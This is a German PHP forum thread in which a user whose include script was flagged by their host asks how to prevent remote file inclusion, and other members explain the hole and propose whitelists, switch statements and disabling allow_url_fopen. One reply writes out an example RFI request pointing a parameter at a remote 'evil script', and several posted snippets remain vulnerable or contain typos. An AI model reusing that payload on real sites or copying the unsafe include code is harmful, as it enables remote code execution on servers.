![]() |
[PHP] - Sicheres Includen
Hallo
ich hab jetzt zum 2. Mal Post vom Abuse-Support von 1&1 bekommen mein Skript wäre unsicher. Anscheinend kann man beliebige Seiten inkludieren. Kann mir sagen, wie ich die Sicherheit erhöhen kann? Hier der Code-Schnipsel:
Code:
Danke.
<?php
if ($Site <> '') { include $_SERVER['DOCUMENT_ROOT'].'/'.$Sec.$Site; } else { include $Sec.'home.php'; } ?> |
Re: [PHP] - Sicheres Includen
Hallo, ich weiß nicht, was du jetzt genau mit sicheres Includen meinst, aber ich löse dass immer so:
Hauptdatei:
Code:
und die Include Datei dazu:
<?php
define("can_inc", true); if ($start=="main") { include("inc/start.inc.php"); } ?>
Code:
so, das ganze dient dazu, dass die zu includierende Datei "Zugriff verweigert! Access denided" ausgibt, soibald in der Datei, von deraus die zu Includierende Datei includiert wird can_inc definiert wurde. (Siehe code)
<?php
if (!defined("can_inc")) die('Zugriff verweigert! Access denided'); /* ... */ ?> Hoffe das hilft dir ein wenig :) MfG |
Re: [PHP] - Sicheres Includen
Moin,
ich gehe mal davon aus, dass register_globals aktiv ist? Dann mach ich z.B. sowas:
Code:
Ergebnis:
GET deinskript.php?Sec=http://meineseite.de/boesesscript.php?
Code:
Mach z.B. immer sowas:
include('http://meineseite.de/boesesscript.php?home.php');
Code:
Weiters solltest du bei den Leuten anfragen, was genau das Problem zu sein scheint, und wie sie von der Luecke wissen (wollen).
include './'. $Sec .'home.php';
@Klaus-B: das mit can_inc hilft in diesem Fall gar nicht. Remote code inclusion bedeutet dass Code von einem fremden Server eingebunden wird, und nicht dass deine Dateien von einem nicht-autorisierten File aufgerufen werden ;) Greetz alcaeus |
Re: [PHP] - Sicheres Includen
Hallo Friedrich!
Was genau sind denn $Sec und $Site? Sind das Variablen die per GET oder POST (oder COOKIE) übergeben werden? Wenn ja, würde ich ev. eine Liste machen, mit Seiten die Inklidiert werden dürfen. Naja, ich habs so gemacht:
Code:
Durch das file_exists('./' . $_GET['page'] . '.php') prüfe ich, ob die Datei im Selben Verzeichnis ist und mit file_exists('./' . $_GET['page'] . '/index.php') kann ich dann auch index-Dateien aus Unterordnern inkludieren. Also irgend was unterhalb meines htdocs-Paths bzw. unterhalb meines Hauptindex-Paths kann da nicht inkludiert werden, da ich in $_GET['page'] vorher noch alle Slash, Backslash und Punkte entferne (braucht man für den normalen Betrieb auch nicht). Das könnte nochwichtig sein.
[color=#808080][/color]
[color=#000080][b]<?php[/b][/color] [color=#FF8000]// // Include content. //[/color] [color=#800080]if[/color] (file_exists([color=#008000]'./'[/color] . [color=#000080][i]$_GET[/i][/color][[color=#008000]'page'[/color]] . [color=#008000]'.php'[/color])) { [color=#800080]include[/color]([color=#000080][i]$_GET[/i][/color][[color=#008000]'page'[/color]] . [color=#008000]'.php'[/color]); } [color=#800080]elseif[/color] (file_exists([color=#008000]'./'[/color] . [color=#000080][i]$_GET[/i][/color][[color=#008000]'page'[/color]] . [color=#008000]'/index.php'[/color])) { [color=#800080]include[/color]([color=#000080][i]$_GET[/i][/color][[color=#008000]'page'[/color]] . [color=#008000]'/index.php'[/color]); } [color=#800080]else[/color] { [color=#800080]include[/color]([color=#008000]'404.php'[/color]); } [color=#800080]echo[/color] [color=#008000]"\n"[/color]; [color=#000080][b]?>[/b][/color] [color=#808080][/color] Zitat:
Naja, aber die Variable durch $site = preg_replace('/[\\\\\/.:]*/', '', $site); jagen, ist sicherlich kein Fehler. ;) Grüße Faux |
Re: [PHP] - Sicheres Includen
Zitat:
Zitat:
Code:
Und schon gibts keinen Weg mehr, da RFI zu betreiben. So einfach kanns sein, ich versteh sowieso nicht, wie man eine Seite darauf aufbauen kann, die einzubindende Datei ueber die URL festlegen zu lassen. Nichts fuer ungut, aber echt :wall:
$site = (isset($_GET['site'])) ? $_GET['site'] : '';
$allowed_sites = array('main', 'contact', 'foo', 'bar'); if (!in_array($site, $allowed_sites)) { $site = 'main'; } include('./'. $site .'.php'); Greetz alcaeus |
Re: [PHP] - Sicheres Includen
Zitat:
|
Re: [PHP] - Sicheres Includen
Zitat:
Wenn ich dynamische Webseiten erstelle, und auf sowas zurueckgreifen muss, dann liegen die Module normalerweise in der Datenbank, und werden ueber eine ID oder einen sprechenden Namen aufgerufen (z.B. something.php?module=settings). So muss ich nur ein neues Modul hochladen, es in der Datenbank freischalten (das Panel zeigt nicht registrierte Module speziell an), und es wird auch sofort im Menue verlinkt. So muss ich nicht bei jedem Update die PHP-Dateien aendern, sondern kann ueber ein Update-Script vorgehn, und ich habe trotzdem eine grosse Sicherheit, da der Input ja ueber die Datenbank validiert wird (mal angenommen dass der Programmierer weiss wie er Datenbank-Queries absichert). Greetz alcaeus |
Re: [PHP] - Sicheres Includen
ALso ich mach das meistens so wie alcaeus mit den Modulen deren ID dann aus der DB ausgelesen wird, aber manchmal auch oft einfach per switch:
Code:
Und dann sieht die URL so aus: ./?page=news&id=23 das heißt: Modul News, Datensatz 23.
switch (strtolower($GET['page'))
{ case 'news': include('news.php'); break; } Grüße Faux |
Re: [PHP] - Sicheres Includen
Zitat:
Wichtig ist nur, dass du GPC-Daten nicht ungefiltert verwendest; sei es in SQL-Queries, include-Dateien usw. Gegen RFI hilft aber auch schon, allow_url_fopen zu deaktivieren. Greetz alcaeus |
Re: [PHP] - Sicheres Includen
alcaeus, was genau verstehst du unter RFI?
Naja, wenn man soo oft Module hinzufügt, dass man das nicht in einer Datei der switch-Direktive hinzufügen kann, dann ist man mit dieser Art von Template-System schlecht bedient. ;) Grüße Faux Zitat:
|
Alle Zeitangaben in WEZ +1. Es ist jetzt 00:56 Uhr. |
Powered by vBulletin® Copyright ©2000 - 2025, Jelsoft Enterprises Ltd.
LinkBacks Enabled by vBSEO © 2011, Crawlability, Inc.
Delphi-PRAXiS (c) 2002 - 2023 by Daniel R. Wolf, 2024-2025 by Thomas Breitkreuz